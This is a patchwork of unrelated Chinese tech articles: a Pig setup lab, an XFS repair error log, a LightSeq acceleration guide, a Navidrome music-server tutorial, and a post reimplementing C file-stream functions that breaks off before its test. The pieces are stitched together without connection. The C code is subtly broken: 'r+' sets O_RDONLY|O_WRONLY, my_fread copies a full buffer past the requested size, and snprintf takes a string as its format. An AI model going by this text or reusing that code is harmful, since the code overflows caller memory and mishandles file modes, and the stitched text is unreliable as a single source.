Pig的搭建和配置
一、 任务描述Pig内部,每个操作或变换是对输入进行数据处理,然后产生输出结果,这些变换操作被转换成一系列MapReduce作业,Pig让程序员不需要知道这些转换具体是如何进行的,这样工程师可以将精力集中在数据上,而非执行的细节上。本实验通过练习Pig的搭建和配置来为以后学习Pig做环境准备。二、 任务目标练习Pig的搭建和配置三、 任务环境Ubuntu16.04、Hadoop-2.7.3、Pig-0.17.0四、 任务分析通过Pig安装包安装Pig后,进行相关配置,然后练习Pig的两种模式和命令使用。♥ 知识链接Pig知识 Apache Pig为大数据集的处理提供了更高层次的抽象,为mapreduce算法(框架)实现了一套类SQL的数据处理脚本语言的shell脚本,在Pig中称之为Pig Latin,在这套脚本中我们可以对加载出来的数据进行排序、过滤、求和、分组(group by)、关联(Joining),Pig也可以由用户自定义一些函数对数据集进行操作,也就是传说中的UDF(user-defined functions)。五、 任务实施步骤1、安装Pig右击Ubuntu操作系统桌面,从弹出菜单中选择【Open in Terminal】命令打开终端。在终端输入命令【cd /simple】进入simple目录下,然后使用命令【tar -zxvf /simple/soft/pig-0.17.0.tar.gz】解压Pig的tar包。如图1所示图1 解压Pig安装包查看解压好的软件并配置环境变量,如图2所示图2 vim进入配置环境变量进入”/etc/profile”文件后,按i键进入插入模式,并配置如下语句。如图3所示,配置完成后,按esc键回到正常模式,输入【:wq!】保存退出。图3 配置环境变量在终端输入命令【source /etc/profile】使环境变量生效。如图4所示图4 使环境变量生效输入命令【pig -version】,查看pig是否安装成功。如图5所示图5 查看Pig是否安装步骤2、Pig的简单使用Pig有两种执行模式,分别为:本地模式(Local)和MapReduce模式本地模式下,Pig运行在单一的JVM中,可访问本地文件。该模式适用于处理小规模数据或学习之用。运行以下命名设置为本地模式:【pig –x local】,如图6所示图6 运行Pig本地模式输入命令【quit】退出pig的本地模式,因为Pig的MapReduce模式要用到Hadoop服务,所以在终端的命令行启动hadoop服务。如图7所示图7 启动Hadoop服务在hdfs文件系统上新建一个目录,命令为【hadoop fs -mkdir /input】。如图8所示图8 新建目录在当前目录下输入【pig】命令启动pig,将默认启动为MapReduce模式。在MapReduce模式下,Pig将查询转换为MapReduce作业提交给Hadoop(可以说群集 ,也可以说伪分布式)。如图9所示图9 启动Pig的MapReduce模式pig的好处之一是简化了HDFS的操作,没有pig之前要查看一个hdfs的文件,必须hadoop fs -ls /打一堆命令,而在pig shell交互模式下,只需要【ls /】即可。如图10所示图10 pig模式下输入简单的命令♥ Pig适用场景Pig并不适合所有的数据处理任务,和MapReduce一样,它是为数据批处理而设计的,如果想执行的查询只涉及一个大型数据集的一小部分数据,Pig的实现不会很好,因为它要扫描整个数据集或其中很大一部分。随着新版本发布,Pig的表现和原生MapRedece程序差距越来越小,因为Pig的开发团队使用了复杂、精巧的算法来实现Pig的关系操作。除非你愿意花大量时间来优化Java MapReduce程序,否则使用Pig Latin来编写查询的确能帮你节约时间。
linux下的文件系统出错 Structure needs cleaning
[oracle@localhost ~]$ /u01/app/oracle/product/version/db_1/bin/sqlplus-bash: /u01/app/oracle/product/version/db_1/bin/sqlplus: Structure needs cleaning[oracle@localhost ~]$[oracle@localhost ~]$ df -hTFilesystem Type Size Used Avail Use% Mounted ondevtmpfs devtmpfs 1.8G 0 1.8G 0% /devtmpfs tmpfs 1.9G 0 1.9G 0% /dev/shmtmpfs tmpfs 1.9G 9.5M 1.8G 1% /runtmpfs tmpfs 1.9G 0 1.9G 0% /sys/fs/cgroup/dev/sda3 btrfs 25G 4.0G 20G 17% //dev/sdb1 xfs 30G 13G 17G 44% /u01/dev/sda1 xfs 499M 168M 332M 34% /boottmpfs tmpfs 370M 36K 370M 1% /run/user/1000tmpfs tmpfs 370M 4.0K 370M 1% /run/user/42[oracle@localhost ~]$umount这个文件系统,然后修复,修复完了,文件也找不到了。[root@localhost ~]# xfs_repair /dev/sdb1-bash-4.2$ ll /u01/app/oracle/product/version/db_1/bin/sqlplusls: cannot access /u01/app/oracle/product/version/db_1/bin/sqlplus: No such file or directory
最全攻略:利用LightSeq加速你的深度学习模型
前言LightSeq是字节跳动火山翻译团队开源的一款Transformer系列模型加速引擎,分为训练和推理两个部分。其中推理加速引擎早在2019年12月就已经开源,而训练加速引擎也在2021年6月开源。项目地址:https://github.com/bytedance/lightseqLightSeq主要采用了CUDA算子融合、显存优化、参数连续化、层级式解码策略等技术,感兴趣的小伙伴可以阅读此前的文章:训练引擎:支持Transformer全流程训练加速,最高加速3倍!字节跳动LightSeq上新推理引擎:速度超快!字节跳动开源序列推理引擎LightSeq本文详细讲解一下如何使用LightSeq来改造你的PyTorch模型,实现1.5-3倍的训练加速和5-10倍的推理加速。至于TensorFlow模型的加速,目前也已经支持,这里不会详细讲解,可以参考下面NeurST的代码:https://github.com/bytedance/neurst/tree/lightseq整体流程使用LightSeq进行加速的整体流程依次为:接入训练引擎进行模型训练,并保存模型参数。加载模型参数,使用训练引擎的前向传播部分进行模型推理。为了更快的推理速度,还可以将模型参数导出为protobuf或者hdf5格式。使用推理引擎解析第3步中导出的模型,并进行模型推理。模型训练LightSeq提供了封装好的embedding、encoder、decoder、cross entropy和adam类,可以接入到你自己的模型中替换原有的模型。LightSeq还提供了现成的Fairseq、Hugging Face、DeepSpeed DeepSpeed可以用于大规模训练Speed、NeurST等样例。如果你用这几个训练库的话,就可以直接使用。如果你是自己的模型,那也可以手动接入LightSeq。这几个样例代码都在examples/training目录下。自定义模型首先引入所有可能用到的头文件:from lightseq.training import (
LSTransformer,
LSTransformerEmbeddingLayer,
LSTransformerEncoderLayer,
LSTransformerDecoderLayer,
LSCrossEntropyLayer,
LSAdam,
)以新建encoder层为例,主要分为两个步骤:使用LSTransformerEncoderLayer.get_config函数新建config。新建LightSeq的encoder层,即LSTransformerEncoderLayer类,使用config来初始化。一个典型的例子如下:config = LSTransformerEncoderLayer.get_config(
model="bert-base",
max_batch_tokens=4096,
max_seq_len=512,
fp16=True,
local_rank=0,
)
layer = LSTransformerEncoderLayer(config)其中max_batch_tokens指定了训练过程中一个batch最大可能的单词数,max_seq_len指定了句子的最长长度。model提供了四种现成的模型配置:transformer-base、transformer-big、bert-base和bert-big。当然如果你想用自己的模型配置,也可以手动补全所有的参数:config = LSTransformerEncoderLayer.get_config(
max_batch_tokens=4096,
max_seq_len=512,
hidden_size=1024,
intermediate_size=4096,
nhead=16,
attn_prob_dropout_ratio=0.1,
activation_dropout_ratio=0.1,
hidden_dropout_ratio=0.1,
pre_layer_norm=False,
activation_fn="gelu",
fp16=True,
local_rank=0,
)
layer = LSTransformerEncoderLayer(config)除了encoder以外,embedding、decoder、cross entropy和adam也可以用同样的方法新建,最后和你自己写的模型一样进行训练即可。此外LightSeq还提供了完整的Transformer类LSTransformer,可以直接新建一整个Transformer:config = LSTransformer.get_config(
model="transformer-base",
max_batch_tokens=4096,
max_seq_len=512,
vocab_size=32000,
padding_idx=0,
num_encoder_layer=6,
num_decoder_layer=6,
fp16=True,
local_rank=0,
)
model = LSTransformer(config)示例代码在examples/training/custom中,可以直接运行python run.py查看效果。Hugging Face以Hugging Face官方提供的run_glue.py为例,一般首先都是用AutoModel.from_pretrained函数新建模型model,然后进行训练。为了接入LightSeq,需要将model中的所有encoder层替换为LightSeq版本的encoder层。替换过程分为三个步骤:使用LSTransformerEncoderLayer.get_config函数新建config。获取Hugging Face预训练好的BERT参数。新建LightSeq的encoder层,即LSTransformerEncoderLayer类,使用config和预训练好的参数来初始化。新建encoder层代码参见上一小节。注意在Hugging Face这个例子里,额外给LSTransformerEncoderLayer封装了一层LSHFTransformerEncoderLayer,主要是为了兼容原来的encoder输入形状。示例代码在examples/training/huggingface中,运行sh run_glue.sh和sh run_ner.sh分别可以查看LightSeq在GLUE和NER任务上的加速效果。注意Hugging Face BERT的fine-tune任务很不稳定,经常会不收敛,这时候可以尝试修改运行脚本中的--seed参数。FairseqFairseq主要用于一些生成任务,使用LightSeq加速的原理是一样的,都是需要将各自组件替换为LightSeq对应的组件。LightSeq对Fairseq做了非常完整的替换,将embedding、encoder、decoder、cross entropy和adam全部替换为了LightSeq对应的部分,来达到极致的加速效果。示例代码在examples/training/fairseq目录下,其中fs_cli目录存放着三个启动入口:train、validate和generate,fs_modules目录存放着用LightSeq封装好的几个Transformer组件。直接运行sh ls_fairseq_wmt14en2de.sh即可自动下载数据并运行WMT14英德机器翻译任务。脚本中主要的运行命令如下:lightseq-train /tmp/wmt14_en_de/ \
--task translation \
--arch ls_transformer_wmt_en_de_big_t2t --share-decoder-input-output-embed \
--optimizer ls_adam --adam-betas '(0.9, 0.98)' --clip-norm 0.0 \
--lr 5e-4 --lr-scheduler inverse_sqrt --warmup-updates 4000 --weight-decay 0.0001 \
--criterion ls_label_smoothed_cross_entropy --label-smoothing 0.1 \
--max-tokens 8192 \
--eval-bleu --eval-bleu-args '{"beam": 5, "max_len_a": 1.2, "max_len_b": 10}' \
--eval-bleu-detok moses --eval-bleu-remove-bpe --eval-bleu-print-samples \
--best-checkpoint-metric bleu \
--maximize-best-checkpoint-metric --fp16注意到和一般运行Fairseq的命令不同的地方有这么几个:启动入口从fairseq-train替换为了lightseq-train,这是因为在根目录setup.py里封装了--user-dir用户模块目录。如果还想继续用fairseq-train的话,就需要手动指定--user-dir fs_modules参数。模型结构--arch需要在原来的基础上加上前缀ls_,用来指定使用LightSeq提供的Transformer模型。优化器--optimizer和损失函数--criterion都需要在原来的基础上加上前缀ls_,指定使用LightSeq对应的组件。DeepSpeedDeepSpeed主要用于大规模训练,也提供了Transformer的encoder层CUDA实现,不过效率没有LightSeq高。LightSeq提供了Fairseq+DeepSpeed分布式训练的使用样例,将启动器替换成了deepspeed,手动指定--user-dir目录,还需要指定DeepSpeed的配置文件deepspeed_config,其它参数和上一节Fairseq样例一模一样。使用时运行sh ds_fairseq_wmt14en2de.sh即可,和上一小节一样都是用Fairseq运行WMT14英德机器翻译任务。模型导出在模型训练完之后,直接load保存的checkpoint就可以继续fine-tune或者推理。但是这样调用的是训练引擎的推理部分,也就是模型的前向传播。这部分代码需要频繁在python和c++之间切换,并且前向过程中计算了很多反向传播才需要用到的变量。因此速度不如纯粹的推理引擎快。而要想使用LightSeq的推理引擎,就必须先将checkpoint转变为protobuf或者hdf5的格式。LightSeq提供了每个组件的导出接口,如果你使用了LightSeq的模型组件,那么导出将变得非常容易。只需要引入下面的头文件即可:from lightseq.training import (
export_ls_config,
export_ls_embedding,
export_ls_encoder,
export_ls_decoder,
)这四个函数分别可以导出推理引擎所需要的配置信息、embedding参数、encoder参数和decoder参数。而如果有其他部分的参数没包括在这里面(例如输出到词表的映射矩阵),则需要自己进行导出,详见下面的教程。LightSeq对Hugging Face的BERT、BART、GPT2三种模型,以及Fairseq+LightSeq、LightSeq的Transformer模型都提供了模型导出的样例,代码在examples/inference/python/export目录下。其中Hugging Face的模型都是没有采用LightSeq加速训练的预训练模型参数,所以导出更为复杂一些。模型导出的核心思想就是:首先创建一个protobuf对象Transformer或者hdf5的文件对象。然后在checkpoint中提取出参数值,将其赋值给Transformer或者hdf5文件对象中对应的参数。这个过程麻烦的就是提取并且对应赋值的过程,LightSeq提供了一系列方便的操作函数。Fairseq执行python ls_fs_transformer.py可以导出上一章节中Fairseq+LightSeq训练样例得到的模型。以protobuf导出为例,观察代码可以看到主体部分如下(省略了部分参数):file = Transformer()
encoder_state_dict, decoder_state_dict = _extract_weight(state_dict)
export_ls_embedding(file, encoder_state_dict, is_encoder=True)
export_ls_embedding(file, encoder_state_dict, is_encoder=False)
export_ls_encoder(file, encoder_state_dict)
export_ls_decoder(file, decoder_state_dict)
export_fs_weights(file, state_dict)
export_ls_config(file)首先需要用户自己将state_dict拆分成encoder和decoder两部分,这主要是因为设计时考虑到有些用户只会用到encoder的导出(例如BERT)。并且LightSeq无法知道用户模型的最外层参数名叫啥,万一不叫encoder,而叫enc之类的呢?所以交给用户自己拆分更加合理。然后分别导出encoder的embedding、decoder的embedding、encoder和decoder参数,这几部分都直接调用LightSeq提供的接口就行了。LightSeq会自动帮你把解析出来的参数导出到定义的Transformer类里。接着需要处理一下Fairseq中与LightSeq无关的一些参数,例如encoder和decoder的layer norm参数等等。export_fs_weights函数需要用户自己实现,核心思想就是找到state_dict中的参数名,将其赋值给Transformer类里对应的变量就行了。最后设置一下Transformer类里所有的配置参数就行了。hdf5的用法类似,LightSeq都将其封装在同样的函数里了,只需要指定save_pb=False即可。Hugging Face执行python hf_bert_export.py、python hf_bart_export.py和python hf_gpt2_export.py三个文件分别可以导出BERT、BART和GPT2的预训练模型。因为Hugging Face的模型参数都是预训练得到的,所以LightSeq无法识别参数名是什么样的,只能用户自己编写导出规则,具体参考上面三个导出样例即可。LightSeq Transformer使用LightSeq提供的Transformer进行训练的话,参数名LightSeq都知道的一清二楚,因此可以直接使用LightSeq提供的导出接口进行转换。过程和上面的Fairseq+LightSeq类似。具体样例可以执行python ls_transformer_export.py,同时得到protobuf和hdf5格式的模型导出文件,并且对比两者生成的结果。这里的checkpoint可以使用上一章节中自定义模型小节中训练得到的模型。自定义模型因为自定义的模型参数LightSeq无法识别参数名,所以需要用户自己编写转换规则。举一个简单的例子,假设用户模型中有个encoder的输出部分的layer norm参数,state_dict中的参数名叫做encoder.layer_norm.weight。那么可以按如下方式进行转换:transformer = Transformer()
enc_norm_w = state_dict["encoder.layer_norm.weight"].flatten().tolist()
transformer.src_embedding.norm_scale[:] = enc_norm_w模型推理得到导出的protobuf或者hdf5模型后,推理就变得十分简单,核心代码就三行:import lightseq.inference as lsi
model = lsi.Transformer("transformer.pb", 8)
output = model.infer([[1, 2, 3], [4, 5, 6]])首先定义一个Transformer类用来加载模型参数,指定load的protobuf文路径和batch_size大小。然后调用infer函数进行推理,传入的输入参数必须是list或者numpy类型,且必须是二维。LightSeq在examples/inference/python/test目录下提供了三个Hugging Face模型推理的样例,此外上一小节中examples/inference/python/export中的ls_transformer_export.py代码也包含了导出后推理的过程。最佳实践总结一下,使用LightSeq加速你的深度学习模型,最佳方式无外乎三步:接入LightSeq训练引擎的模型组件,构建模型,进行训练,保存checkpoint。将checkpoint转换为protobuf或者hdf5格式,LightSeq的组件可以调用现成的转换接口,其它的需要自己手写转换规则。调用LightSeq推理引擎,加载上一步中导出的模型,进行快速推理。目前LightSeq已经被广泛应用在字节跳动公司内外各项业务和学术研究上,支持了标准的Transformer、BERT、BART、GPT2、ViT等多种Transformer系列模型。只要你的模型中包含有Transformer的部分组件,例如encoder层,就可以直接调用LightSeq进行加速。
再一次,实现听歌自由
20年前,中国网民听歌是自由的,准确点说是听盗版歌的自由。2002年11月,百度上线MP3搜索功能,几乎能搜索和下载到所有的歌曲。按相关的版权法规,百度未经授权使用他人资源牟利是违法的。当时互联网产业违法采集数据、传播盗版是家常便饭,版权管理形同虚设,百度顺势而为分了一块大蛋糕。盗版音乐砸了音乐人的饭碗,就如同盗版软件摧残软件从业者。最近十多年,政府对音像作品版权的管理日趋严格,这是一件利国利民的好事,一个行业兴盛的起点首先是从业者得到应有的报酬。百度MP3搜索今天,付费听音乐已经成为网民的共识。我常常使用网易云听音乐,这是一个好软件,只是没有周杰伦的歌,网易云官方解释是没有拿到周杰伦歌曲的版权。QQ音乐倒是有周杰伦歌曲,但是偶尔也会因版权问题下架其他歌手作品。同样,酷狗音乐、咪咕音乐也不能提供所有的歌曲。问题来了,如何在一个音乐APP上听到所有的我喜欢的歌,实现听歌自由呢?自建音乐服务器是唯一的路。Navidrome 是一款开源音乐服务器,用于自建云端音乐播放器,兼容手机、桌面等多种客户端。Navidrome 资源占用率非常低,支持中文界面,可以播放任何音频格式,实在是码农+音乐爱好者的折腾利器。Navidrome 提供了 Demo 地址 demo.navidrome.org/app/ , 账号密码都是 demo。首先准备可以远程访问的服务器,最好有独立的公网IP,硬件配置至少1核1G,预装CentOS或者Debian系统。有一个独立的域名更好,比如 music.test.com ,否则就要用 IP+端口号访问音乐服务器。1 安装docker-compose推荐使用 docker 安装 Navidrome ,首先安装 docker-compose :shell复制代码# 安装yum工具yum install -y yum-utils
设置源
yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
安装docker
yum install -y docker-ce
启动doker服务
systemctl start docker
安装docker-compose
yum install docker-compose
2 安装Navidrome编辑docker-compose.yml,内容如下:yaml复制代码version: "3"services: navidrome: image: deluan/navidrome:latest user: 0:0 ports:
- "8080:8080" #自定义端口
restart: unless-stopped
environment:
ND_SCANSCHEDULE: 1h
ND_LOGLEVEL: info
ND_SESSIONTIMEOUT: 24h
ND_BASEURL: ""
volumes:
- "/usr/local/music.test.com/data:/data"
- "/usr/local/music.test.com/music:/music:ro"
volumes 参数指定数据 data 和音乐文件 music 的映射路径,/usr/local/music.test.com/ 即为真实的文件路径。shell复制代码# -f 指定使用的 Compose 模板文件,默认为 docker-compose.yml,可以多次指定,指定多个ymldocker-compose -f docker-compose.yml up -d
执行以上启动命令后 Navidrome 将会安装成功,内网访问路径是 http://localhost:8080 。3 配置外网访问配置 Nginx 将 music.test.com 域名映射给内网地址,再配置域名解析,将 music.test.com 解析为真实IP。nginx复制代码server { listen 80; server_name music.test.com; access_log /var/log/nginx/music.test.com combined;
location / {
proxy_pass http://127.0.0.1:8080;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header REMOTE-HOST $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $http_host;
proxy_redirect off;
}
}
完成以上三步后,在路径 /usr/local/music.test.com/music 上传一些音乐文件,然后通过地址 music.test.com/app 就能访问到音乐服务器界面,按系统提示添加管理员账号和密码,最后呈现的效果如下图所示:Navidrome管理界面Navidrome 会自动扫描 music 目录下的音乐文件元信息,形成一个歌曲管理清单。如果在清单里面看不到最新上传的歌曲,可以点击右上角的心跳图标,再点击“完全扫描”按钮,扫描所有文件。4 配置手机客户端日常听歌时,可以通过 Navidrome 管理后台直接播放音乐,也可以安装手机客户端:
IOS: playSub、Substreamer、Amperfy、iSubAndroid: DSub、Subtracks、Substreamer、Ultrasonic 、Audinaut
推荐使用 Substreamer,这个APP更加符合国人的使用习惯,主页地址: substreamerapp.com/ 。IOS客户端下载地址: apps.apple.com/us/app/subs… ;Android客户端下载地址: m.289.com/azrj/477219… 。Substreamer 首次启动后根据界面提示填写服务器地址 music.test.com ,以及第三步配置的账号和密码。Substreamer 启动之后自动获取音乐数据,如下所示:Substreamer客户端5 修改歌曲元信息无论歌手发布过多少歌曲,一般只有几首歌会被放在歌单反复听,像周杰伦这种高产者几乎是凤毛麟角。好听的歌曲往往分布在不同的专辑中,Substreamer 默认按专辑分组展示音乐列表,界面上专辑列表很长,但是进入专辑里面仅有一两首歌,用户听起来非常不方便。可以用软件 Mp3tag 修改歌曲元信息,将歌曲改成同一个专辑名称,这样就将它们聚合在一起。Mp3tag的下载地址 www.mp3tag.de/en/dodownlo… 。Mp3tag根据我国法律规定,未经著作权人许可,将其享有著作权的内容复制传播,原则上触犯著作权法。请购买正版歌曲再上传至 Navidrome 实现你的听歌自由,切勿使用磁力搜索器获取盗版音乐。
Linux【模拟实现C语言文件流】
✨个人主页:
北 海
所属专栏:
Linux学习之旅
操作环境:
CentOS 7.6 阿里云远程服务器
前言
在 C语言 的文件流中,存在一个 FILE 结构体类型,其中包含了文件的诸多读写信息以及重要的文件描述符 fd,在此类型之上,诞生了 C语言 文件相关操作,如 fopen、fclose、fwrite 等,这些函数本质上都是对系统调用的封装,因此我们可以根据系统调用和缓冲区相关知识,模拟实现出一个简单的 C语言 文件流
==本文重点== : 模拟实现 FILE 及 C语言 文件操作相关函数
==注意:== 本文实现的只是一个简单的 demo,重点在于理解系统调用及缓冲区
️正文
1、FILE 结构设计
在设计 FILE 结构体前,首先要清楚 FILE 中有自己的缓冲区及冲刷方式
图片来源:《Linux基础IO》 - 2021dragon
缓冲区的大小和刷新方式因平台而异,这里我们将 大小设置为 1024 刷新方式选择 行缓冲,为了方便对缓冲区进行控制,还需要一个下标 _current,当然还有 最重要的文件描述符 _fd
#define BUFFER_SIZE 1024 //缓冲区大小
//通过位图的方式,控制刷新方式
#define BUFFER_NONE 0x1 //无缓冲
#define BUFFER_LINE 0x2 //行缓冲
#define BUFFER_ALL 0x4 //全缓冲
typedef struct MY_FILE
{
char _buffer[BUFFER_SIZE]; //缓冲区
size_t _current; //缓冲区下标
int _flush; //刷新方式,位图结构
int _fd; //文件描述符
}MY_FILE;
当前模拟实现的 FILE 只具备最基本的功能,重点在于呈现原理
在模拟实现 C语言 文件操作相关函数前,需要先来简单回顾下
2、函数使用及分析
主要实现的函数有以下几个:
fopen 打开文件
fclose 关闭文件
fflush 进行缓冲区刷新
fwrite 对文件中写入数据
fread 读取文件数据
#include <stdio.h>
#include <assert.h>
#include <string.h>
int main()
{
//打开文件,写入数据
FILE* fp = fopen("file.txt", "w");
assert(fp);
const char* str = "露易斯湖三面环山,层峦叠嶂,翠绿静谧的湖泊在宏伟山峰及壮观的维多利亚冰川的映照下更加秀丽迷人";
char buff[1024] = {
0 };
snprintf(buff, sizeof(buff), str);
fwrite(buff, 1, sizeof(buff), fp);
fclose(fp);
return 0;
}
#include <stdio.h>
#include <assert.h>
#include <string.h>
int main()
{
//打开文件,并从文件中读取信息
FILE* fp = fopen("file.txt", "r+");
assert(fp);
char buff[1024] = {
0 };
int n = fread(buff, 1, sizeof(buff) - 1, fp);
buff[n] = '\0';
printf("%s", buff);
fclose(fp);
return 0;
}
fopen
打开指定文件,可以以多种方式打开,若是以读方式打开时,文件不存在会报错
fclose
根据 FILE* 关闭指定文件,不能重复关闭
fwrite
对文件中写入指定数据,一般是借助缓冲区进行写入
fread
读取文件数据,同理一般是借助缓冲区先进行读取
不同的缓冲区有不同的刷新策略,如果未触发相应的刷新策略,会导致数据滞留在缓冲区中,比如如果内存中的数据还没有刷新就断电的话,会导致数据丢失;除了通过特定方式进行缓冲区冲刷外,还可以手动刷新缓冲区,在 C语言 中,手动刷新缓冲区的函数为 fflush
#include <stdio.h>
#include <unistd.h>
int main()
{
int cnt = 20;
while(cnt)
{
printf("he"); //故意不触发缓冲
cnt--;
if(cnt % 10 == 5)
{
fflush(stdout); //刷新缓冲区
printf("\n当前已冲刷,cnt: %d\n", cnt);
}
sleep(1);
}
return 0;
}
总的来说,这些文件操作相关函数,都是在对缓冲区进行写入及冲刷,将数据拷贝给内核缓冲区,再由内核缓冲区刷给文件
3、文件打开 fopen
MY_FILE *my_fopen(const char *path, const char *mode); //打开文件
打开文件分为以下几步:
根据传入的 mode 确认打开方式
通过系统接口 open 打开文件
创建 MY_FILE 结构体,初始化内容
返回创建好的 MY_FILE 类型
因为打开文件存在多种失败情况:权限不对 / open 失败 / malloc 失败等,所以当打开文件失败后,需要返回 NULL
==注意:== 假设是因 malloc 失败的,那么在返回之前需要先关闭 fd,否则会造成资源浪费
// 打开文件
MY_FILE *my_fopen(const char *path, const char *mode)
{
assert(path && mode);
// 确定打开方式
int flags = 0; // 打开方式
// 读:O_RDONLY 读+:O_RDONLY | O_WRONLY
// 写:O_WRONLY | O_CREAT | O_TRUNC 写+:O_WRONLY | O_CREAT | O_TRUNC | O_RDONLY
// 追加: O_WRONLY | O_CREAT | O_APPEND 追加+:O_WRONLY | O_CREAT | O_APPEND | O_RDONLY
// 注意:不考虑 b 二进制读写的情况
if (*mode == 'r')
{
flags |= O_RDONLY;
if (strcmp("r+", mode) == 0)
flags |= O_WRONLY;
}
else if (*mode == 'w' || *mode == 'a')
{
flags |= (O_WRONLY | O_CREAT);
if (*mode == 'w')
flags |= O_TRUNC;
else
flags |= O_APPEND;
if (strcmp("w+", mode) == 0 || strcmp("a+", mode) == 0)
flags |= O_RDONLY;
}
else
{
// 无效打开方式
assert(false);
}
// 根据打开方式,打开文件
// 注意新建文件需要设置权限
int fd = 0;
if (flags & O_CREAT)
fd = open(path, flags, 0666);
else
fd = open(path, flags);
if (fd == -1)
{
// 打开失败的情况
return NULL;
}
// 打开成功了,创建 MY_FILE 结构体,并返回
MY_FILE *new_file = (MY_FILE *)malloc(sizeof(MY_FILE));
if (new_file == NULL)
{
// 此处不能断言,需要返回空
close(fd); // 需要先把 fd 关闭
perror("malloc FILE fail!");
return NULL;
}
// 初始化 MY_FILE
memset(new_file->_buffer, '\0', BUFFER_SIZE); // 初始化缓冲区
new_file->_current = 0; // 下标置0
new_file->_flush = BUFFER_LINE; // 行刷新
new_file->_fd = fd; // 设置文件描述符
return new_file;
}
4、文件关闭 fclose
int my_fclose(MY_FILE *fp); //关闭文件
文件在关闭前,需要先将缓冲区中的内容进行冲刷,否则会造成数据丢失
==注意:== my_fclose 返回值与 close 一致,因此可以复用
// 关闭文件
int my_fclose(MY_FILE *fp)
{
assert(fp);
// 刷新残余数据
if (fp->_current > 0)
my_fflush(fp);
// 关闭 fd
int ret = close(fp->_fd);
// 释放已开辟的空间
free(fp);
fp = NULL;
return ret;
}
5、缓冲区刷新 fflush
int my_fflush(MY_FILE *stream); //缓冲区刷新
缓冲区冲刷是一个十分重要的动作,它决定着 IO 是否正确,这里的 my_fflush 是将用户级缓冲区中的数据冲刷至内核级缓冲区
冲刷的本质:拷贝,用户先将数据拷贝给用户层面的缓冲区,再系统调用将用户级缓冲区拷贝给内核级缓冲区,最后才将数据由内核级缓冲区拷贝给文件
==因此 IO 是非常影响效率的。数据传输过程必须遵循冯诺依曼体系结构==
函数 fsync
将内核中的数据手动拷贝给目标文件(内核级缓冲区的刷新策略极为复杂,为了确保数据能正常传输,可以选择手动刷新)
==注意:== 在冲刷完用户级缓冲区后(write),需要将缓冲区清空,否则缓冲区就一直满载了
// 缓冲区刷新
int my_fflush(MY_FILE *stream)
{
assert(stream);
// 将数据写给文件
int ret = write(stream->_fd, stream->_buffer, stream->_current);
stream->_current = 0; // 每次刷新后,都需要清空缓冲区
fsync(stream->_fd); // 将内核中的数据强制刷给磁盘(文件)
if (ret != -1) return 0;
else return -1;
}
6、数据写入 fwrite
size_t my_fwrite(const void *ptr, size_t size, size_t nmemb, MY_FILE *stream); //数据写入
数据写入用户级缓冲区的步骤:
判断当前用户级缓冲区是否满载,如果满了,需要先刷新,再进行后续操作
获取当前待写入的数据大小 user_size 及用户级缓冲区剩余大小 my_size,方便进行后续操作
如果 my_size >= user_size,说明缓冲区容量足够,直接进行拷贝;否则说明缓冲区容量不足,需要重复冲刷->拷贝->再冲刷 的过程,直到将数据全部拷贝
拷贝完成后,需要判断是否触发相应的刷新策略,比如 行刷新->最后一个字符是否为 \n,如果满足条件就刷新缓冲区
数据写入完成,返回实际写入的字节数(简化版,即 user_size)
如果是一次写不完的情况,需要通过循环写入数据,并且在缓冲区满后进行刷新,因为循环写入时,目标数据的读取位置是在不断变化的(一次读取一部分,不断后移),所以需要对读取位置和读取大小进行特殊处理
// 数据写入
size_t my_fwrite(const void *ptr, size_t size, size_t nmemb, MY_FILE *stream)
{
// 写入先判断缓冲区是否已满
if (stream->_current == BUFFER_SIZE)
my_fflush(stream);
size_t user_size = size * nmemb; // 用户想写入的字节数
size_t my_size = BUFFER_SIZE - stream->_current; // 缓冲区中剩余可用空间
size_t writen = 0; // 成功写入数据的大小
if (my_size >= user_size)
{
// 直接可用全部写入
memcpy(stream->_buffer + stream->_current, ptr, user_size);
stream->_current += user_size;
writen = user_size;
}
else
{
// 一次写不完,需要分批写入
size_t tmp = user_size; // 用于定位 ptr 的读取位置
while (user_size > my_size)
{
// 一次写入 my_size 个数据。user_size 会减小
memcpy(stream->_buffer + stream->_current, ptr + (tmp - user_size), my_size);
stream->_current += my_size; // 切记实时更新下标
my_fflush(stream); // 写入后,刷新缓冲区
user_size -= my_size;
my_size = BUFFER_SIZE - stream->_current;
}
// 最后空间肯定足够,再把数据写入缓冲区中
memcpy(stream->_buffer + stream->_current, ptr + (tmp - user_size), user_size);
stream->_current += user_size;
writen = tmp;
}
// 通过刷新方式,判断是否进行刷新
if (stream->_flush & BUFFER_NONE)
{
// 无缓冲,直接冲刷
my_fflush(stream);
}
else if (stream->_flush & BUFFER_LINE)
{
// 行缓冲,遇见 '\n' 才刷新
if (stream->_buffer[stream->_current - 1] == '\n')
my_fflush(stream);
}
else
{
// 全缓冲,满了才刷新
if (stream->_current == BUFFER_SIZE)
my_fflush(stream);
}
// 为了简化,这里返回用户实际写入的字节数,即 user_size
return writen;
}
7、数据读取 fread
在进行数据读取时,需要经历 文件->内核级缓冲区->用户级缓冲区->目标空间 的繁琐过程,并且还要考虑 用户级缓冲区是否能够一次读取完所有数据,若不能,则需要多次读取
==注意:==
读取前,如果用户级缓冲区中有数据的话,需要先将数据刷新给文件,方便后续进行操作
读取与写入不同,读取结束后,需要考虑 \0 的问题(在最后一个位置加),如果不加的话,会导致识别错误;系统(内核)不需要 \0,但C语言中的字符串结尾必须加 \0,现在是 系统->用户(C语言)
// 数据读取
size_t my_fread(void *ptr, size_t size, size_t nmemb, MY_FILE *stream)
{
// 数据读取前,需要先把缓冲区刷新
if (stream->_current > 0)
my_fflush(stream);
size_t user_size = size * nmemb;
size_t my_size = BUFFER_SIZE;
// 先将数据读取到FILE缓冲区中,再赋给 ptr
if (my_size >= user_size)
{
// 此时缓冲区中足够存储用户需要的所有数据,只需要读取一次
read(stream->_fd, stream->_buffer, my_size);
memcpy(ptr, stream->_buffer, my_size);
*((char *)ptr + my_size - 1) = '\0';
}
else
{
int ret = 1;
size_t tmp = user_size;
while (ret)
{
// 一次读不完,需要多读取几次
ret = read(stream->_fd, stream->_buffer, my_size);
stream->_buffer[ret] = '\0';
memcpy(ptr + (tmp - user_size), stream->_buffer, my_size);
stream->_current = 0;
user_size -= my_size;
}
}
size_t readn = strlen(ptr);
return readn;
}
8、实际效果
现在通过自己写的 myStdio 测试C语言文件流操作
#include <stdio.h>
#include <string.h>
